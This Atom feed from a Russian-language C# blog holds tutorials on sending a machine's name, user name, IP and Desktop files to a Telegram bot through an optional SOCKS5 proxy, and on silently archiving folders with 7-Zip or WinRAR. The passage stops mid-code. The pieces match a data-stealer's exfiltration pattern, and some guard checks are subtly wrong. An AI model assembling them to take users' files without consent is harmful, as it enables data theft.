<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>r3xq1</title><subtitle>Разработчик плюшек</subtitle><author><name>r3xq1</name></author><id>https://teletype.in/atom/r3xq1</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/r3xq1?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@r3xq1?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=r3xq1"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/r3xq1?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-06-09T14:22:53.392Z</updated><entry><id>r3xq1:3Fztr0TOE</id><link rel="alternate" type="text/html" href="https://teletype.in/@r3xq1/3Fztr0TOE?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=r3xq1"></link><title>Отправка данных в TelegramBot</title><published>2020-08-22T17:37:35.372Z</published><updated>2020-10-06T21:10:23.914Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/13/81/138137f7-a8a5-4a93-8c1b-b22545a85695.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/13/81/138137f7-a8a5-4a93-8c1b-b22545a85695.png&quot;&gt;Сначала сделаем отправку без использования библиотек, напрямую по URL.</summary><content type="html">
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/13/81/138137f7-a8a5-4a93-8c1b-b22545a85695.png&quot; width=&quot;704&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Сначала сделаем отправку &lt;strong&gt;без использования библиотек&lt;/strong&gt;, напрямую по &lt;strong&gt;&lt;u&gt;URL&lt;/u&gt;&lt;/strong&gt;.&lt;/p&gt;
  &lt;h3&gt;У нас есть API сайт телеграмм: &lt;/h3&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://core.telegram.org/bots/api&quot; target=&quot;_blank&quot;&gt;Справочник на Английском языке&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://tlgrm.ru/docs/bots/api&quot; target=&quot;_blank&quot;&gt;Справочник на Русском языке&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;В котором мы можем найти все данные для отправки запросов и получения данных.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p&gt;Методы для отправки можете найти &lt;a href=&quot;https://pastebin.com/raw/1vxQ4usD&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Пример вызова методов:&lt;/p&gt;
  &lt;p&gt;                                  &lt;em&gt;&lt;strong&gt;Используется System.Net.Http&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/df/30/df3076b8-da79-4e40-8b7d-a24fe20ec054.png&quot; width=&quot;905&quot; /&gt;
  &lt;/figure&gt;
  &lt;pre&gt;namespace TGbotEx
{
    using System;
    using System.IO;
    using System.Net;
    using System.Threading.Tasks;&lt;/pre&gt;
  &lt;pre&gt;    internal static class Program
    {
        private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
        [STAThread]
        public static async Task Main()
        {&lt;/pre&gt;
  &lt;pre&gt;            string textMessage = string.Concat(
            &amp;quot;👤 Компьютер: &amp;quot;, Environment.MachineName,
            &amp;quot;\n 🏴 Пользователь: &amp;quot;, Environment.UserName,
            &amp;quot;\n 🌐 IP: &amp;quot;, GetIP(&amp;quot;https://api.ipify.org&amp;quot;));
            string photos = Path.Combine(Desktop, &amp;quot;CaptureFile.jpg&amp;quot;); // Путь к фотографии
            string text = Path.Combine(Desktop, &amp;quot;SendFile.txt&amp;quot;); // Путь к текстовому файлу
            await TGchannel.UrlSendFileAsync(&amp;quot;Ваш токен бота&amp;quot;, Ваш ChatID, false, photos).ConfigureAwait(false);
            Console.Read();
        }
        // Метод для получения IP адреса
        private static string GetIP(string url)
        {
            string result = string.Empty;
            try
            {
                var Link = new Uri(url);
                using (var client = new WebClient())
                {
                    result = client.DownloadString(Link);
                }
            }
            catch { }
            return result;
        }
    }
}&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;p&gt;Для отправки &lt;strong&gt;zip&lt;/strong&gt; файла можно использовать ещё такой способ: &lt;a href=&quot;https://pastebin.com/raw/u59GQxAF&quot; target=&quot;_blank&quot;&gt;Кликни сюда&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Использовать метод для отправки архива можно так:&lt;/p&gt;
  &lt;pre&gt;string ZipArchive = Path.Combine(Desktop, &amp;quot;NameYourZipFile.zip&amp;quot;);&lt;/pre&gt;
  &lt;pre&gt;var CaptionBuild = new StringBuilder();
CaptionBuild.AppendLine($&amp;quot;⚡️ Архив прислан от: {Environment.UserName}&amp;quot;);
CaptionBuild.AppendLine($&amp;quot;👤 Компьютер: {Environment.MachineName}&amp;quot;);
CaptionBuild.AppendLine($&amp;quot;🏴 Пользователь: {Environment.UserName}&amp;quot;);
CaptionBuild.AppendLine($&amp;quot;🌐 IP: {GetIP(&amp;quot;https://api.ipify.org&amp;quot;)}&amp;quot;);
CaptionBuild.AppendLine(&amp;quot;&amp;quot;);
CaptionBuild.AppendLine(&amp;quot;Developed by r3xq1&amp;quot;);&lt;/pre&gt;
  &lt;pre&gt;SendFileToServer(ZipArchive, &amp;quot;application/x-winzip&amp;quot;, Token, ID_chat);&lt;/pre&gt;
  &lt;p&gt;Все методы прокомментированы, думаю объяснять ничего особо не нужно. &lt;/p&gt;
  &lt;hr /&gt;
  &lt;p&gt;Теперь напишем методы &lt;strong&gt;с использованием библиотеки&lt;/strong&gt; &lt;a href=&quot;https://www.nuget.org/packages/Telegram.Bot/&quot; target=&quot;_blank&quot;&gt;Telegram.Bot.dll&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Методы для отправки можете найти &lt;a href=&quot;https://pastebin.com/raw/8YgskCpL&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;private static TelegramBotClient bot;&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Для отправки файл(а)ов:&lt;/p&gt;
  &lt;pre&gt; /// &amp;lt;summary&amp;gt;
 /// Асинхронный метод для отправки файла в канал телеграмма
 /// &amp;lt;/summary&amp;gt;
 /// &amp;lt;param name=&amp;quot;token&amp;quot;&amp;gt;Токен бота&amp;lt;/param&amp;gt;
 /// &amp;lt;param name=&amp;quot;chatId&amp;quot;&amp;gt;ID чата&amp;lt;/param&amp;gt;
 /// &amp;lt;param name=&amp;quot;filename&amp;quot;&amp;gt;Полный путь к файлу&amp;lt;/param&amp;gt;
 /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
 public static async Task AsyncSendFile(string token, int? chatId, string filename)
 {
   if (!string.IsNullOrWhiteSpace(token) || chatId != null || System.IO.File.Exists(filename)) // chatId ! = null
   {
       try
       {
          ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
          bot = new TelegramBotClient(token);
           // using (var stream = System.IO.File.Open(filename, FileMode.Open))
           using (FileStream stream = System.IO.File.OpenRead(filename))
           {
              string ssf = Path.GetFileName(filename);
              var Iof = new InputOnlineFile(stream, ssf);
              string fromsend = $&amp;quot;Файл отправлен от: {Environment.UserName}&amp;quot;;
              Message result = await bot?.SendDocumentAsync(chatId, Iof, fromsend); 
            }
        }
        catch (Exception ex)
        {
           System.IO.File.WriteAllText(&amp;quot;AsyncSendFile_Error.txt&amp;quot;, $&amp;quot;{ex.Message}{Environment.NewLine}&amp;quot;);
        }
   }}&lt;/pre&gt;
  &lt;p&gt;Для отправки сообщения:&lt;/p&gt;
  &lt;pre&gt;/// &amp;lt;summary&amp;gt;
/// Асинхронный метод для отправки текста в канал телеграмма
/// &amp;lt;/summary&amp;gt;
/// &amp;lt;param name=&amp;quot;token&amp;quot;&amp;gt;Токен бота&amp;lt;/param&amp;gt;
/// &amp;lt;param name=&amp;quot;chatId&amp;quot;&amp;gt;ID чата&amp;lt;/param&amp;gt;
/// &amp;lt;param name=&amp;quot;textMessage&amp;quot;&amp;gt;Сообщение для отправки&amp;lt;/param&amp;gt;
/// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
public static async Task AsyncSendText(string token, int? chatId, string textMessage)
{
  if (!string.IsNullOrWhiteSpace(token) || chatId != null || !string.IsNullOrWhiteSpace(textMessage))
  {
     try
     {
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
        bot = new TelegramBotClient(token);
        Message result = await bot?.SendTextMessageAsync(chatId, textMessage);
     }
     catch (Exception ex)
     {
       System.IO.File.WriteAllText(&amp;quot;AsyncSendText_Error.txt&amp;quot;, $&amp;quot;{ex.Message}{Environment.NewLine}&amp;quot;);
     }
  }
}&lt;/pre&gt;
  &lt;p&gt;Используется так:&lt;/p&gt;
  &lt;pre&gt;await TGLibChannel.AsyncSendText(&amp;quot;Ваш токен бота&amp;quot;, Ваш ChatID, textMessage).ConfigureAwait(false);
await TGLibChannel.AsyncSendFile(&amp;quot;Ваш токен бота&amp;quot;, Ваш ChatID, false, photos).ConfigureAwait(false);
TGLibChannel.MassSendFiles(&amp;quot;Ваш токен бота&amp;quot;, Ваш ChatID, Desktop, &amp;quot;*zip&amp;quot;); // отправляем файлы zip&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h3&gt;ProxyServer - Подключаем прокси&lt;/h3&gt;
  &lt;p&gt;Немного о том, что делать если &lt;a href=&quot;https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D1%81%D0%BA%D0%BE%D0%BC%D0%BD%D0%B0%D0%B4%D0%B7%D0%BE%D1%80&quot; target=&quot;_blank&quot;&gt;Роскомнадзор &lt;/a&gt;блокирует отправку/получения данных из/в телеграмм?! &lt;/p&gt;
  &lt;p&gt;В таком случае придётся использовать &lt;a href=&quot;https://www.kaspersky.ru/blog/vpn-explained/10635/&quot; target=&quot;_blank&quot;&gt;VPN &lt;/a&gt;( на пример: &lt;a href=&quot;https://nordvpn.com/ru/&quot; target=&quot;_blank&quot;&gt;NordVPN&lt;/a&gt; )&lt;/p&gt;
  &lt;p&gt;Или подключать &lt;a href=&quot;https://siteactiv.ru/terminy/proksi/&quot; target=&quot;_blank&quot;&gt;Proxy &lt;/a&gt;к самому &lt;em&gt;TelegramBot&lt;/em&gt;&amp;#x27;&lt;em&gt;у&lt;/em&gt;.&lt;/p&gt;
  &lt;p&gt;Вот  пример как подключить прокси к боту:&lt;/p&gt;
  &lt;p&gt;Для Телеграмм нужно использовать &lt;a href=&quot;https://github.com/MihaZupan/HttpToSocks5Proxy&quot; target=&quot;_blank&quot;&gt;Socks5&lt;/a&gt; прокси от &lt;a href=&quot;https://github.com/MihaZupan/HttpToSocks5Proxy/commits?author=MihaZupan&quot; target=&quot;_blank&quot;&gt;MihaZupan&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;&lt;u&gt;P.S:&lt;/u&gt; Если не хотите использовать &lt;strong&gt;.dll&lt;/strong&gt; библиотеку, то можно скачать классы по этим ссылкам: &lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://yadi.sk/d/Pfd7zUaV2d3jnQ&quot; target=&quot;_blank&quot;&gt;r3Socks5.rar - Yandex-Disk&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://mega.nz/file/CDQmSCIB#Dle8wWfXq9Eg2kwwq_CM26kKJKZatlO7xSEP_L4Hmdc&quot; target=&quot;_blank&quot;&gt;r3Socks5.rar - Mega.nz&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Выберем подходящий проксик по &lt;a href=&quot;https://spys.one/en/socks-proxy-list/&quot; target=&quot;_blank&quot;&gt;этой&lt;/a&gt; ссылке.&lt;/p&gt;
  &lt;p&gt;Теперь подключаем в коде:&lt;/p&gt;
  &lt;pre&gt;var proxy = new HttpToSocks5Proxy(ProxyIP, ProxyPort);
proxy.ResolveHostnamesLocally = true;
Bot = new TelegramBotClient(BotToken, proxy);&lt;/pre&gt;
  &lt;p&gt;или так&lt;/p&gt;
  &lt;pre&gt;var proxy = new HttpToSocks5Proxy(&amp;quot;IPAddress&amp;quot;, Port, Username, Password);
client.Proxy = proxy;&lt;/pre&gt;
  &lt;p&gt;На этом всё! &lt;/p&gt;
  &lt;p&gt;Если у Вас есть желание поблагодарить меня небольшой суммой я буду только рад&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;BTC&lt;/strong&gt;: &lt;code&gt;1BebhKcKzEHDbCtNz21DT7ocB6wv1LQVGH&lt;/code&gt;&lt;/p&gt;
  &lt;h2&gt;&lt;em&gt;По всем вопросами пишите мне в:&lt;/em&gt;&lt;/h2&gt;
  &lt;ul&gt;
    &lt;li&gt;Telegram: &lt;a href=&quot;https://t.me/r3xq1&quot; target=&quot;_blank&quot;&gt;@r3xq1&lt;/a&gt; ( остерегайтесь фейков )&lt;/li&gt;
    &lt;li&gt;Jabber: &lt;a href=&quot;mailto:r3xq1_dev@exploit.im&quot; target=&quot;_blank&quot;&gt;r3xq1_dev@exploit.im&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;&lt;a href=&quot;https://github.com/r3xq1&quot; target=&quot;_blank&quot;&gt;https://github.com/r3xq1&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>r3xq1:ArchiveDataR3</id><link rel="alternate" type="text/html" href="https://teletype.in/@r3xq1/ArchiveDataR3?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=r3xq1"></link><title>Архивация данных на языке C#</title><published>2020-06-26T12:22:00.438Z</published><updated>2022-02-04T13:35:37.210Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/02/43/024327db-0790-4461-bbbf-3385adce968a.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/6e/de/6ede5e9b-e92e-46e8-b784-fc4505810dc2.png&quot;&gt;В этом примере вы сможете с лёгкостью архивировать ваши данные файлов на  версии .NetFramework от v4.0 - v4.5 и выше.</summary><content type="html">
  &lt;figure id=&quot;YggV&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/6e/de/6ede5e9b-e92e-46e8-b784-fc4505810dc2.png&quot; width=&quot;720&quot; /&gt;
    &lt;figcaption&gt;Пример архивации данных для новичков&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;Lnwf&quot;&gt;В этом примере вы сможете с лёгкостью архивировать ваши данные файлов на  версии &lt;code&gt;.NetFramework&lt;/code&gt; от &lt;strong&gt;v4.0 - v4.5&lt;/strong&gt; и выше.&lt;/p&gt;
  &lt;p id=&quot;aGo8&quot;&gt;&lt;strong&gt;Нажмите&lt;/strong&gt;: &lt;u&gt;&lt;a href=&quot;https://yadi.sk/d/0wR9J-vdB7UzRQ&quot; target=&quot;_blank&quot;&gt;скачать&lt;/a&gt; &lt;a href=&quot;https://mega.nz/file/uTo1WagS#JpEf6DKzY3Ov1moNN9JIA6UsC4CCBYQKC1e7QoDd3xA&quot; target=&quot;_blank&quot;&gt;всё&lt;/a&gt;&lt;/u&gt;необходимое для вашей работы! (В этом архиве лежат все нужные классы которые вы можете использовать для работы с архивацией)&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;melr&quot;&gt;Начнём работу со стандартными архиваторами которые установлены на машине пользователя, а это &lt;code&gt;7-Zip&lt;/code&gt; , &lt;code&gt;WinRAR&lt;/code&gt; &lt;/p&gt;
  &lt;p id=&quot;toEV&quot;&gt;Для работы мне потребовалась некоторая документация:&lt;/p&gt;
  &lt;ul id=&quot;YOSD&quot;&gt;
    &lt;li id=&quot;w9vF&quot;&gt;&lt;a href=&quot;https://documentation.help/WinRAR/&quot; target=&quot;_blank&quot;&gt;https://documentation.help/WinRAR/&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;RmTj&quot;&gt;&lt;a href=&quot;https://www.cyberforum.ru/cmd-bat/thread702837.html&quot; target=&quot;_blank&quot;&gt;https://www.cyberforum.ru/cmd-bat/thread702837.html&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;tWPr&quot;&gt;Сначала находим где установлены эти архиваторы, будем использовать реестр для нахождения, воспользуемся данным кодом ниже:&lt;/p&gt;
  &lt;p id=&quot;CUaM&quot;&gt;&lt;strong&gt;[Внимание]&lt;/strong&gt; В данном коде используется версия &lt;code&gt;C# 8.0&lt;/code&gt;&lt;/p&gt;
  &lt;h2 id=&quot;kWVS&quot;&gt;Класс для нахождения стандартных архиваторов на компьютере через реестр.&lt;/h2&gt;
  &lt;figure id=&quot;q8O0&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/a2/8f/a28fcf70-859f-4572-b6e2-bff3e86546bc.png&quot; width=&quot;704&quot; /&gt;
    &lt;figcaption&gt;Класс для нахождения архиваторов через Реестр Windows&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;pre id=&quot;86Zz&quot;&gt;namespace Archiver
{
    using Microsoft.Win32;&lt;/pre&gt;
  &lt;pre id=&quot;EoGz&quot;&gt;    public static class RegZipPath 
    {
        /// &amp;lt;summary&amp;gt;
        /// Метод для поиска установленного WinRAR архиватора в системе через реестр
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;returns&amp;gt;Путь к &amp;lt;b&amp;gt;.exe&amp;lt;/b&amp;gt; архиватору&amp;lt;/returns&amp;gt;
        public static string FindWinRar()
        {
            string result = string.Empty;
            try
            {
                const string REGPATH = @&amp;quot;WinRAR\Shell\Open\Command&amp;quot;;
                using RegistryKey Root = Registry.ClassesRoot.OpenSubKey(REGPATH);
                string winrarPath = (Root?.GetValue(&amp;quot;&amp;quot;))?.ToString();
                winrarPath = winrarPath.Substring(1, winrarPath.Length - 7);
                result = winrarPath;
            }
            catch { }
            return result;
        }&lt;/pre&gt;
  &lt;pre id=&quot;MfpG&quot;&gt;        /// &amp;lt;summary&amp;gt;
        /// Метод для поиска установленного 7-Zip архиватора в системе через реестр
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;returns&amp;gt;Путь к &amp;lt;b&amp;gt;.exe&amp;lt;/b&amp;gt; архиватору&amp;lt;/returns&amp;gt;
        public static string FindWinZip()
        {
            string result = string.Empty;
            try
            {
                const string REGPATH = @&amp;quot;Software\7-Zip&amp;quot;;
                using RegistryKey zip = Registry.CurrentUser.OpenSubKey(REGPATH);
                result = string.Concat((zip?.GetValue(&amp;quot;Path&amp;quot;))?.ToString(), &amp;quot;7z.exe&amp;quot;);
            }
            catch { }
            return result;
        }
    }
}&lt;/pre&gt;
  &lt;p id=&quot;yXJ0&quot;&gt;Эти два метода из класса &lt;code&gt;RegZipPath.cs&lt;/code&gt; позволять находить путь к &lt;strong&gt;.exe&lt;/strong&gt;-шнику нужного архиватора, если тот установлен в системе.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;P6eM&quot;&gt;Теперь перейдём в другой класс который будет отвечать за саму архивацию папки.&lt;/p&gt;
  &lt;h2 id=&quot;sYdN&quot;&gt;Класс в котором используются 2-а метода для архивации папки с максимальным сжатием и разархивации архива.&lt;/h2&gt;
  &lt;figure id=&quot;TNS5&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/51/42/51429a24-cb2f-4918-acc9-469d1c47d04c.png&quot; width=&quot;850&quot; /&gt;
    &lt;figcaption&gt;Класс для архивации данных через стандартные архиваторы Windows ( Winrar, Zip )&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;mGxr&quot;&gt;Для &lt;strong&gt;7-Zip&lt;/strong&gt; используется данный метод &lt;code&gt;PackZip&lt;/code&gt;&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;iWjg&quot;&gt;Расшифровка аргументов для Архивации папки:&lt;/p&gt;
  &lt;ul id=&quot;FUvP&quot;&gt;
    &lt;li id=&quot;pi1e&quot;&gt;&lt;code&gt;a&lt;/code&gt; ( Добавление файлов в архив )&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;oVO0&quot;&gt;t - тип. Определяет тип архива, который вы хотите создать:
-t7z Формат: 7Z
-tgzip Формат: GZIP
-tzip Формат: ZIP
-tbzip2 Формат: BZIP2
-ttar Формат: TAR
-tiso Формат: ISO
-tudf Формат: UDF&lt;/pre&gt;
  &lt;ul id=&quot;XIhg&quot;&gt;
    &lt;li id=&quot;Mrku&quot;&gt;&lt;code&gt;-r&lt;/code&gt; ( Обрабатывать вложенные папки )&lt;/li&gt;
    &lt;li id=&quot;SRAB&quot;&gt;&lt;code&gt;{outputzip}.zip&lt;/code&gt; ( Имя выходного архива )&lt;/li&gt;
    &lt;li id=&quot;6TZo&quot;&gt;&lt;code&gt;{datapath}&lt;/code&gt; (Путь к папке, которую нужно архивировать)&lt;/li&gt;
    &lt;li id=&quot;272C&quot;&gt;&lt;code&gt;-mx=9&lt;/code&gt; ( Уровень сжатия архива, &lt;strong&gt;1 - Fast | 9 Ultra&lt;/strong&gt; )&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;pre id=&quot;ygz2&quot;&gt;public static class ArchCmd
{
   /// &amp;lt;summary&amp;gt;
   /// Метод для архивации папки с ультра сжатием.
   /// &amp;lt;/summary&amp;gt;
   /// &amp;lt;param name=&amp;quot;zipshell&amp;quot;&amp;gt;Путь к архиватору&amp;lt;/param&amp;gt;
   /// &amp;lt;param name=&amp;quot;datapath&amp;quot;&amp;gt;Путь к папке которую нужно архивировать&amp;lt;/param&amp;gt;
   /// &amp;lt;param name=&amp;quot;outputzip&amp;quot;&amp;gt;Выходной путь, куда сохранять с новым именем архива&amp;lt;/param&amp;gt;
   public static void PackZip(string zipshell, string datapath, string outputzip)
   {
     if (File.Exists(zipshell) &amp;amp;&amp;amp; (!string.IsNullOrWhiteSpace(datapath) || !string.IsNullOrWhiteSpace(outputzip)))
     {
        var pro = new ProcessStartInfo
        {
           WindowStyle = ProcessWindowStyle.Hidden,
           FileName = zipshell,
           Arguments = $@&amp;quot;a -tzip -r {outputzip}.zip {datapath} -mx=9&amp;quot;
        };
        using var x = Process.Start(pro);
        x.Refresh();
        x.WaitForExit(); // Обязательно)
      }
   }&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;nNAL&quot;&gt;Так же используется метод для распаковки &lt;code&gt;UnpackZip&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;0bwx&quot;&gt;Расшифровка аргументов для распаковки архива:&lt;/p&gt;
  &lt;ul id=&quot;UPhP&quot;&gt;
    &lt;li id=&quot;0CrJ&quot;&gt;&lt;code&gt;x&lt;/code&gt; (Принимающий архив который нужно распаковать)&lt;/li&gt;
    &lt;li id=&quot;OJSn&quot;&gt;&lt;code&gt;-o&lt;/code&gt; (Выходная директория распакованного архива)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;CujD&quot;&gt;/// &amp;lt;summary&amp;gt;
/// Метод для распаковки .zip архива
/// &amp;lt;/summary&amp;gt;
/// &amp;lt;param name=&amp;quot;zipshell&amp;quot;&amp;gt;Путь к архиватору&amp;lt;/param&amp;gt;
/// &amp;lt;param name=&amp;quot;inputzip&amp;quot;&amp;gt;Путь к папке которую нужно разархивировать&amp;lt;/param&amp;gt;
/// &amp;lt;param name=&amp;quot;outputdir&amp;quot;&amp;gt;Выходной путь, куда сохранять папку&amp;lt;/param&amp;gt;
public static void UnpackZip(string zipshell, string inputzip, string outputdir)
{
  if (File.Exists(zipshell) &amp;amp;&amp;amp; (!string.IsNullOrWhiteSpace(inputzip) || !string.IsNullOrWhiteSpace(outputdir)))
  {
     var pro = new ProcessStartInfo
     {
        WindowStyle = ProcessWindowStyle.Hidden,
        FileName = zipshell,
        Arguments = $&amp;quot;x {inputzip}.zip -o{outputdir}&amp;quot;
     };
     using var x = Process.Start(pro);
     x.WaitForExit();
   }
}&lt;/pre&gt;
  &lt;p id=&quot;rHEB&quot;&gt;Пример использования для &lt;strong&gt;Zip&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;PmuW&quot;&gt;/* -Примеры использования-
private static readonly string CurrDir = Environment.CurrentDirectory; // Текущая директория
private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // Рабочий стол
ZipDot - Имя папки которую архивируем. 
r3xq1 - Имя архива ( без .zip )
Для архивации: PackZip(RegZipPath.FindWinZip(), Path.Combine(CurrDir, &amp;quot;ZipDot&amp;quot;), Path.Combine(Desktop, &amp;quot;r3xq1&amp;quot;));
Для распаковки: UnpackZip(RegZipPath.FindWinZip(), Path.Combine(Desktop, &amp;quot;r3xq1&amp;quot;), Path.Combine(Desktop, &amp;quot;r3xq1&amp;quot;));
*/&lt;/pre&gt;
  &lt;p id=&quot;hFVC&quot;&gt;Отлично! С методом &lt;strong&gt;Zip&lt;/strong&gt; архивации и разархивации мы разобрались)&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;KrUt&quot;&gt;Теперь сделаем тоже самое только для работы с &lt;strong&gt;WinRAR&lt;/strong&gt; архиватором.&lt;/p&gt;
  &lt;p id=&quot;f1CQ&quot;&gt;Расшифровка аргументов:&lt;/p&gt;
  &lt;ul id=&quot;e90x&quot;&gt;
    &lt;li id=&quot;zawB&quot;&gt;&lt;code&gt;a&lt;/code&gt; (Добавление файлов в архив)&lt;/li&gt;
    &lt;li id=&quot;nxUg&quot;&gt;&lt;code&gt;-ep1&lt;/code&gt; (Исключить из пути базовую папку)&lt;/li&gt;
    &lt;li id=&quot;2h8k&quot;&gt;&lt;code&gt;-m5&lt;/code&gt; (Установить метод сжатия, &lt;strong&gt;1 - Fast | 5 - Ultra&lt;/strong&gt;)&lt;/li&gt;
    &lt;li id=&quot;HcX3&quot;&gt; &lt;code&gt;-r&lt;/code&gt; (Обрабатывать вложенные папки )&lt;/li&gt;
    &lt;li id=&quot;ctGd&quot;&gt;&lt;code&gt;-y&lt;/code&gt; (Подразумевать ответ &amp;quot;Да&amp;quot; на все запросы  - На всякий случай, чтобы не было лишних консольных окошек)&lt;/li&gt;
    &lt;li id=&quot;Wbhr&quot;&gt;&lt;code&gt;{outputzip}.zip&lt;/code&gt; (Имя выходного архива)&lt;/li&gt;
    &lt;li id=&quot;cCip&quot;&gt;&lt;code&gt;{datapath}&lt;/code&gt; (Путь к папке, которую нужно архивировать)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;pre id=&quot;F2sb&quot;&gt;/// &amp;lt;summary&amp;gt;
/// Метод для архивации папки с ультра сжатием.
/// &amp;lt;/summary&amp;gt;
/// &amp;lt;param name=&amp;quot;rarshell&amp;quot;&amp;gt;Путь к архиватору&amp;lt;/param&amp;gt;
/// &amp;lt;param name=&amp;quot;datapath&amp;quot;&amp;gt;Путь к папке которую нужно архивировать&amp;lt;/param&amp;gt;
/// &amp;lt;param name=&amp;quot;outputzip&amp;quot;&amp;gt;Выходной путь, куда сохранять с новым именем архива&amp;lt;/param&amp;gt;
public static void PackRar(string rarshell, string datapath, string outputzip)
{
  if (File.Exists(rarshell) &amp;amp;&amp;amp; (!string.IsNullOrWhiteSpace(datapath) || !string.IsNullOrWhiteSpace(outputzip)))
  {
     var pro = new ProcessStartInfo
     {
        WindowStyle = ProcessWindowStyle.Hidden,
        FileName = rarshell,
        Arguments = $@&amp;quot;a -ep1 -m5 -r -y {outputzip}.rar {datapath}&amp;quot;
     };
     using var x = Process.Start(pro);
     x.Refresh();
     x.WaitForExit();
   }
}&lt;/pre&gt;
  &lt;p id=&quot;pZnp&quot;&gt;Вызов точно так же как с &lt;strong&gt;Zip&lt;/strong&gt; только за место первого аргумента даём путь нахождения &lt;strong&gt;Winrar&lt;/strong&gt; архиватора а не &lt;strong&gt;Zip&lt;/strong&gt;.&lt;/p&gt;
  &lt;pre id=&quot;zrUd&quot;&gt;ArchCmd.PackRar(RegZipPath.FindWinRar(), Path.Combine(CurrDir, &amp;quot;ZipDot&amp;quot;), Path.Combine(Desktop, &amp;quot;r3xq1&amp;quot;));&lt;/pre&gt;
  &lt;p id=&quot;Si8g&quot;&gt;Отлично, с этим мы закончили.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;NX6B&quot;&gt;Теперь мы поговорим о классе &lt;strong&gt;&lt;a href=&quot;https://github.com/jaime-olivares/zipstorer&quot; target=&quot;_blank&quot;&gt;Zipstorer.cs&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;x3ym&quot;&gt;Этот класс можно использовать в &lt;code&gt;.NetFramework 4.0&lt;/code&gt; за место всяких левых библиотек. Класс сможете найти в архиве, я его немного изменил чтобы было проще использовать и добавил класс &lt;strong&gt;ZipR3.cs&lt;/strong&gt; через который можно вызывать необходимые методы. &lt;/p&gt;
  &lt;pre id=&quot;QS4m&quot;&gt;public static class ZipR3
{
        /* Created r3xq1 */&lt;/pre&gt;
  &lt;pre id=&quot;hsQN&quot;&gt;        #region Methods for adding folders to the archive | Методы для добавления папок в архив&lt;/pre&gt;
